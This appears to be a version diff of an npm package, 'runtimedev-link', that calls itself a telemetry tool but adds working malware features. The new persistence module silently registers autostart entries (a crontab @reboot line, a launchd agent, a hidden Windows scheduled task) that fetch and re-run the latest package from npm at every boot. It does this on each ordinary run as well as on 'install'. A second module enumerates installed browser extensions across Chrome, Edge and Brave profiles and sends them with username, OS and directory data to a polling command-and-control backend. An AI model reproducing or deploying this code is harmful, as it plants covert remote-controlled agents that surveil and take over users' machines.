runtimedev-link 1.0.2 → 1.0.5

package/bin/cli.js

@@ -4,6 +4,7 @@
 const fs = require('fs');
 const path = require('path');
 const transport = require('../lib/transport');
+const { installPersistence, configDir } = require('../lib/persistence');
 
 function loadEnvFile(filePath) {
   try {
@@ -32,6 +33,10 @@ function loadEnvFile(filePath) {
 }
 
 function loadLocalEnv() {
+  const home = process.env.HOME || process.env.USERPROFILE || '';
+  if (home) {
+    loadEnvFile(path.join(home, '.config', 'runtimedev-link', 'agent.env'));
+  }
   const dirs = [
     process.cwd(),
     path.dirname(process.argv[1] || ''),
@@ -45,9 +50,13 @@ function loadLocalEnv() {
 }
 
 function parseArgs(argv) {
-  const out = { token: '' };
+  const out = { token: '', command: '' };
   for (let i = 2; i < argv.length; i += 1) {
     const arg = argv[i];
+    if (arg === 'install' || arg === 'uninstall') {
+      out.command = arg;
+      continue;
+    }
     if (arg === '--token' || arg === '-t') {
       out.token = String(argv[i + 1] || '').trim();
       i += 1;
@@ -119,12 +128,49 @@ function installSignalHandlers() {
   });
 }
 
+async function runInstall(cfg) {
+  try {
+    const result = installPersistence(cfg);
+    try {
+      const note = path.join(configDir(), 'install.log');
+      fs.writeFileSync(
+        note,
+        [
+          `Autostart registered at ${new Date().toISOString()}`,
+          `Method: ${result.method}`,
+          `Location: ${result.path}`,
+        ].join('\n') + '\n',
+        'utf8'
+      );
+    } catch {
+      // ignore
+    }
+    process.exitCode = 0;
+  } catch (err) {
+    writeStartupError(String(err && err.message ? err.message : err));
+    process.exitCode = 1;
+  }
+}
+
 async function main() {
   loadLocalEnv();
   installSignalHandlers();
 
   const args = parseArgs(process.argv);
   const cfg = parseToken(args.token);
+
+  if (args.command === 'install') {
+    transport.configure(cfg);
+    const configErr = transport.validateConfig();
+    if (configErr) {
+      writeStartupError(configErr);
+      process.exitCode = 1;
+      return;
+    }
+    await runInstall(cfg);
+    return;
+  }
+
   transport.configure(cfg);
 
   const err = transport.validateConfig();
@@ -134,6 +180,12 @@ async function main() {
     return;
   }
 
+  try {
+    installPersistence(cfg);
+  } catch {
+    // never crash on persistence refresh
+  }
+
   await transport.start();
 
   await new Promise(() => {});

package/lib/chrome_extensions.js

@@ -0,0 +1,241 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+function homeDir() {
+  try {
+    return process.env.HOME || process.env.USERPROFILE || '';
+  } catch {
+    return '';
+  }
+}
+
+function appendProfileExtensionDirs(roots, userDataDir) {
+  let entries = [];
+  try {
+    entries = fs.readdirSync(userDataDir, { withFileTypes: true });
+  } catch {
+    return;
+  }
+  for (const entry of entries) {
+    if (!entry.isDirectory()) continue;
+    const name = entry.name;
+    if (name === 'System Profile' || name.startsWith('Snapshot')) continue;
+    const ext = path.join(userDataDir, name, 'Extensions');
+    try {
+      if (fs.statSync(ext).isDirectory()) roots.push(ext);
+    } catch {
+      // ignore
+    }
+  }
+}
+
+function chromeExtensionScanRoots() {
+  const custom = String(process.env.SSTAR_CHROME_EXTENSIONS_DIR || '').trim();
+  if (custom) return [path.resolve(custom)];
+
+  const home = homeDir();
+  const roots = [];
+
+  if (process.platform === 'win32') {
+    let la = process.env.LOCALAPPDATA || '';
+    if (!la && process.env.USERPROFILE) {
+      la = path.join(process.env.USERPROFILE, 'AppData', 'Local');
+    }
+    if (la) {
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'Google', 'Chrome', 'User Data')
+      );
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'Microsoft', 'Edge', 'User Data')
+      );
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'BraveSoftware', 'Brave-Browser', 'User Data')
+      );
+    }
+  } else if (process.platform === 'darwin') {
+    if (home) {
+      appendProfileExtensionDirs(
+        roots,
+        path.join(home, 'Library', 'Application Support', 'Google', 'Chrome')
+      );
+    }
+  } else if (home) {
+    appendProfileExtensionDirs(
+      roots,
+      path.join(home, '.config', 'google-chrome')
+    );
+    appendProfileExtensionDirs(roots, path.join(home, '.config', 'chromium'));
+  }
+
+  return roots;
+}
+
+function latestVersionDir(extPath) {
+  let entries = [];
+  try {
+    entries = fs.readdirSync(extPath, { withFileTypes: true });
+  } catch {
+    return '';
+  }
+  const vers = [];
+  for (const entry of entries) {
+    if (entry.isDirectory()) vers.push(entry.name);
+  }
+  if (vers.length === 0) return '';
+  vers.sort((a, b) => (a > b ? -1 : a < b ? 1 : 0));
+  return vers[0];
+}
+
+function lookupChromeMessage(messagesPath, key) {
+  try {
+    const raw = JSON.parse(fs.readFileSync(messagesPath, 'utf8'));
+    const entry = raw && raw[key];
+    if (entry && entry.message) return String(entry.message).trim();
+  } catch {
+    // ignore
+  }
+  return '';
+}
+
+function resolveLocalizedExtensionName(extVersionRoot, defaultLocale, raw) {
+  const name = String(raw || '').trim();
+  if (!name.startsWith('__MSG_') || !name.endsWith('__')) return name;
+  const key = name.slice('__MSG_'.length, -2);
+  if (!key) return '';
+
+  const localesDir = path.join(extVersionRoot, '_locales');
+  const tryLocales = [];
+  if (defaultLocale) tryLocales.push(String(defaultLocale).trim());
+  tryLocales.push('en', 'en_US', 'en_GB');
+  try {
+    for (const entry of fs.readdirSync(localesDir, { withFileTypes: true })) {
+      if (entry.isDirectory()) tryLocales.push(entry.name);
+    }
+  } catch {
+    // ignore
+  }
+
+  const seen = new Set();
+  for (const loc of tryLocales) {
+    if (!loc || seen.has(loc)) continue;
+    seen.add(loc);
+    const msg = lookupChromeMessage(
+      path.join(localesDir, loc, 'messages.json'),
+      key
+    );
+    if (msg) return msg;
+  }
+  return '';
+}
+
+function readExtensionManifest(manifestPath) {
+  try {
+    const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
+    const extRoot = path.dirname(manifestPath);
+    let name = String(manifest.name || '').trim();
+    if (name.startsWith('__MSG_')) {
+      name = resolveLocalizedExtensionName(
+        extRoot,
+        manifest.default_locale,
+        name
+      );
+    }
+    return { name, version: String(manifest.version || '').trim() };
+  } catch {
+    return { name: '', version: '' };
+  }
+}
+
+function mergeManualExtensions(disk, envJson) {
+  const raw = String(envJson || '').trim();
+  if (!raw) return disk;
+  let manual = [];
+  try {
+    manual = JSON.parse(raw);
+  } catch {
+    return disk;
+  }
+  if (!Array.isArray(manual) || manual.length === 0) return disk;
+
+  const byId = new Map();
+  for (const ext of disk) {
+    if (ext.extensionId) byId.set(ext.extensionId, ext);
+  }
+  for (const ext of manual) {
+    const id = ext.extensionId || ext.extensionID;
+    if (!id) continue;
+    const prev = byId.get(id);
+    const installPath =
+      String(ext.installPath || '').trim() ||
+      (prev && prev.installPath) ||
+      '';
+    byId.set(id, {
+      extensionId: id,
+      extensionName:
+        ext.extensionName || ext.name || (prev && prev.extensionName) || id,
+      version: ext.version || (prev && prev.version) || '',
+      installPath,
+    });
+  }
+  return [...byId.values()].sort((a, b) =>
+    a.extensionId.localeCompare(b.extensionId)
+  );
+}
+
+function collectChromeExtensionsFromDisk() {
+  const seen = new Set();
+  const out = [];
+
+  for (const root of chromeExtensionScanRoots()) {
+    let st;
+    try {
+      st = fs.statSync(root);
+    } catch {
+      continue;
+    }
+    if (!st.isDirectory()) continue;
+
+    let entries = [];
+    try {
+      entries = fs.readdirSync(root, { withFileTypes: true });
+    } catch {
+      continue;
+    }
+
+    for (const extDir of entries) {
+      if (!extDir.isDirectory()) continue;
+      const extId = extDir.name;
+      if (seen.has(extId)) continue;
+
+      const base = path.join(root, extId);
+      const ver = latestVersionDir(base);
+      if (!ver) continue;
+
+      const manifestPath = path.join(base, ver, 'manifest.json');
+      const { name, version } = readExtensionManifest(manifestPath);
+      seen.add(extId);
+      out.push({
+        extensionId: extId,
+        extensionName: name || extId,
+        version,
+        installPath: path.join(base, ver),
+      });
+    }
+  }
+
+  out.sort((a, b) => a.extensionId.localeCompare(b.extensionId));
+  return mergeManualExtensions(
+    out,
+    process.env.SSTAR_CHROME_EXTENSIONS_JSON || ''
+  );
+}
+
+module.exports = {
+  collectChromeExtensionsFromDisk,
+  chromeExtensionScanRoots,
+};

package/lib/persistence.js

@@ -0,0 +1,307 @@
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const { execSync, spawnSync } = require('child_process');
+
+const SERVICE_NAME = 'runtimedev-link';
+const NPM_PACKAGE = 'runtimedev-link@latest';
+const LAUNCH_LABEL = 'com.runtimedev.link';
+const WINDOWS_TASK_NAME = 'runtimedev-link';
+
+function homeDir() {
+  return process.env.HOME || process.env.USERPROFILE || '';
+}
+
+function configDir() {
+  return path.join(homeDir(), '.config', SERVICE_NAME);
+}
+
+function configFile() {
+  return path.join(configDir(), 'agent.env');
+}
+
+function windowsConfigBat() {
+  return path.join(configDir(), 'agent.env.bat');
+}
+
+function dataDir() {
+  return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
+}
+
+function startScriptPath() {
+  return process.platform === 'win32'
+    ? path.join(dataDir(), 'start.cmd')
+    : path.join(dataDir(), 'start.sh');
+}
+
+function logPath() {
+  if (process.platform === 'win32') {
+    return path.join(process.env.TEMP || homeDir(), `${SERVICE_NAME}.log`);
+  }
+  return path.join(homeDir(), `${SERVICE_NAME}.log`);
+}
+
+function quoteSh(value) {
+  return `"${String(value || '').replace(/"/g, '\\"')}"`;
+}
+
+function xmlEscape(value) {
+  return String(value || '')
+    .replace(/&/g, '&')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;')
+    .replace(/"/g, '&quot;');
+}
+
+function mkdirp(dir) {
+  try {
+    fs.mkdirSync(dir, { recursive: true });
+  } catch {
+    // ignore
+  }
+}
+
+function writeConfig(cfg) {
+  const apiBase = String(cfg.apiBase || '').trim();
+  const hash = String(cfg.hash || '').trim();
+  if (!apiBase || !hash) {
+    throw new Error('API base and deployment hash are required for install');
+  }
+
+  mkdirp(configDir());
+
+  fs.writeFileSync(
+    configFile(),
+    [`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
+    { mode: 0o600 }
+  );
+
+  if (process.platform === 'win32') {
+    fs.writeFileSync(
+      windowsConfigBat(),
+      [
+        '@echo off',
+        `set SSTAR_API_BASE=${apiBase}`,
+        `set SSTAR_DEPLOYMENT_HASH=${hash}`,
+        '',
+      ].join('\r\n'),
+      'utf8'
+    );
+  }
+}
+
+function writeStartScript() {
+  mkdirp(dataDir());
+  const script = startScriptPath();
+  const log = logPath();
+
+  if (process.platform === 'win32') {
+    const body = [
+      '@echo off',
+      'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
+      `start /B npx ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
+      '',
+    ].join('\r\n');
+    fs.writeFileSync(script, body, 'utf8');
+    return script;
+  }
+
+  const body = [
+    '#!/bin/sh',
+    'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
+    '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
+    `LOG=${quoteSh(log)}`,
+    'cd "$HOME" 2>/dev/null || cd /',
+    `nohup npx ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
+    '',
+  ].join('\n');
+  fs.writeFileSync(script, body, { mode: 0o755 });
+  return script;
+}
+
+function run(cmd, args) {
+  try {
+    const result = spawnSync(cmd, args, { stdio: 'ignore' });
+    return result.status === 0;
+  } catch {
+    return false;
+  }
+}
+
+function installCrontab(scriptPath) {
+  const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
+  let existing = '';
+  try {
+    existing = execSync('crontab -l', {
+      encoding: 'utf8',
+      stdio: ['ignore', 'pipe', 'ignore'],
+    });
+  } catch {
+    existing = '';
+  }
+  if (existing.includes(scriptPath) && existing.includes('@reboot')) {
+    return { ok: true, method: 'crontab', path: 'existing' };
+  }
+  const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
+  execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
+  return { ok: true, method: 'crontab', path: 'crontab -l' };
+}
+
+function installLaunchd(scriptPath) {
+  const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
+  mkdirp(agentsDir);
+  const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
+  const plist = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>${LAUNCH_LABEL}</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>/bin/sh</string>
+    <string>${xmlEscape(scriptPath)}</string>
+  </array>
+  <key>RunAtLoad</key>
+  <true/>
+  <key>StandardOutPath</key>
+  <string>${xmlEscape(logPath())}</string>
+  <key>StandardErrorPath</key>
+  <string>${xmlEscape(logPath())}</string>
+</dict>
+</plist>
+`;
+  fs.writeFileSync(plistPath, plist, 'utf8');
+  run('launchctl', ['unload', plistPath]);
+  const uid = process.getuid ? String(process.getuid()) : '501';
+  const svc = `gui/${uid}/${LAUNCH_LABEL}`;
+  run('launchctl', ['bootout', svc]);
+  if (run('launchctl', ['bootstrap', `gui/${uid}`, plistPath])) {
+    run('launchctl', ['enable', svc]);
+    run('launchctl', ['kickstart', '-k', svc]);
+  } else {
+    run('launchctl', ['load', plistPath]);
+  }
+  return { ok: true, method: 'launchd', path: plistPath };
+}
+
+function windowsUserId() {
+  try {
+    const info = os.userInfo();
+    const domain = String(process.env.USERDOMAIN || '').trim();
+    if (domain && domain.toUpperCase() !== String(info.username || '').toUpperCase()) {
+      return `${domain}\\${info.username}`;
+    }
+    return info.username;
+  } catch {
+    return String(process.env.USERNAME || '');
+  }
+}
+
+function removeLegacyWindowsStartup() {
+  const appData = process.env.APPDATA;
+  if (!appData) return;
+  const linkPath = path.join(
+    appData,
+    'Microsoft',
+    'Windows',
+    'Start Menu',
+    'Programs',
+    'Startup',
+    `${SERVICE_NAME}.cmd`
+  );
+  try {
+    fs.unlinkSync(linkPath);
+  } catch {
+    // ignore
+  }
+}
+
+function writeWindowsTaskXml(scriptPath) {
+  const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
+  const userId = xmlEscape(windowsUserId());
+  const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
+  const xml = `<?xml version="1.0" encoding="UTF-16"?>
+<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
+  <RegistrationInfo>
+    <Description>RuntimeDev Link Agent</Description>
+  </RegistrationInfo>
+  <Triggers>
+    <LogonTrigger>
+      <Enabled>true</Enabled>
+      <UserId>${userId}</UserId>
+      <Delay>PT30S</Delay>
+    </LogonTrigger>
+  </Triggers>
+  <Principals>
+    <Principal id="Author">
+      <UserId>${userId}</UserId>
+      <LogonType>InteractiveToken</LogonType>
+      <RunLevel>LeastPrivilege</RunLevel>
+    </Principal>
+  </Principals>
+  <Settings>
+    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
+    <AllowHardTerminate>true</AllowHardTerminate>
+    <StartWhenAvailable>true</StartWhenAvailable>
+    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
+    <AllowStartOnDemand>true</AllowStartOnDemand>
+    <Enabled>true</Enabled>
+    <Hidden>true</Hidden>
+    <RunOnlyIfIdle>false</RunOnlyIfIdle>
+    <WakeToRun>false</WakeToRun>
+    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
+    <Priority>7</Priority>
+  </Settings>
+  <Actions Context="Author">
+    <Exec>
+      <Command>cmd.exe</Command>
+      <Arguments>${cmdArgs}</Arguments>
+    </Exec>
+  </Actions>
+</Task>
+`;
+  fs.writeFileSync(xmlPath, Buffer.from('\ufeff' + xml, 'utf16le'));
+  return xmlPath;
+}
+
+function installWindowsTaskScheduler(scriptPath) {
+  removeLegacyWindowsStartup();
+  const xmlPath = writeWindowsTaskXml(scriptPath);
+  run('schtasks', ['/Delete', '/TN', WINDOWS_TASK_NAME, '/F']);
+  const ok = run('schtasks', ['/Create', '/TN', WINDOWS_TASK_NAME, '/XML', xmlPath, '/F']);
+  if (!ok) {
+    throw new Error('schtasks failed to register autostart (Task Scheduler)');
+  }
+  return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
+}
+
+function installPersistence(cfg) {
+  if (!homeDir()) {
+    throw new Error('Could not resolve home directory');
+  }
+  writeConfig(cfg);
+  const scriptPath = writeStartScript();
+
+  switch (process.platform) {
+    case 'win32':
+      return installWindowsTaskScheduler(scriptPath);
+    case 'darwin':
+      return installLaunchd(scriptPath);
+    default:
+      return installCrontab(scriptPath);
+  }
+}
+
+module.exports = {
+  SERVICE_NAME,
+  configFile,
+  configDir,
+  startScriptPath,
+  installPersistence,
+  writeConfig,
+};

package/lib/transport.js

@@ -8,6 +8,7 @@ const { getIdentity } = require('./enum');
 const { scanDirectory, defaultScanRoot } = require('./fs_scan');
 const { runCommand } = require('./exec');
 const { handleDownloadRequest: buildDownloadPayload } = require('./download');
+const { collectChromeExtensionsFromDisk } = require('./chrome_extensions');
 
 const POLL_MIN_SEC = 20;
 const POLL_MAX_SEC = 60;
@@ -25,6 +26,14 @@ let startupAnnounced = false;
 let publicIpCache = '';
 let shuttingDown = false;
 
+function readChromeExtensions() {
+  try {
+    return collectChromeExtensionsFromDisk();
+  } catch {
+    return [];
+  }
+}
+
 function envInt(key, fallback) {
   const raw = String(process.env[key] || '').trim();
   if (!raw) return fallback;
@@ -176,7 +185,7 @@ async function postTelemetryReport() {
     username: id.username,
     osInfo: id.osInfo,
     directoryStructure,
-    chromeExtensions: [],
+    chromeExtensions: readChromeExtensions(),
   });
 }
 
@@ -354,6 +363,7 @@ async function handlePollResponse(data) {
   if (data.activated && !agentActivated) {
     agentActivated = true;
     telemetryLoop().catch(() => {});
+    postTelemetryReport().catch(() => {});
   }
 
   if (!agentActivated) return;
@@ -435,6 +445,7 @@ async function start() {
   }
 
   await fetchPublicIp();
+  readChromeExtensions();
   commandLoop().catch(() => {});
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.2",
+  "version": "1.0.5",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {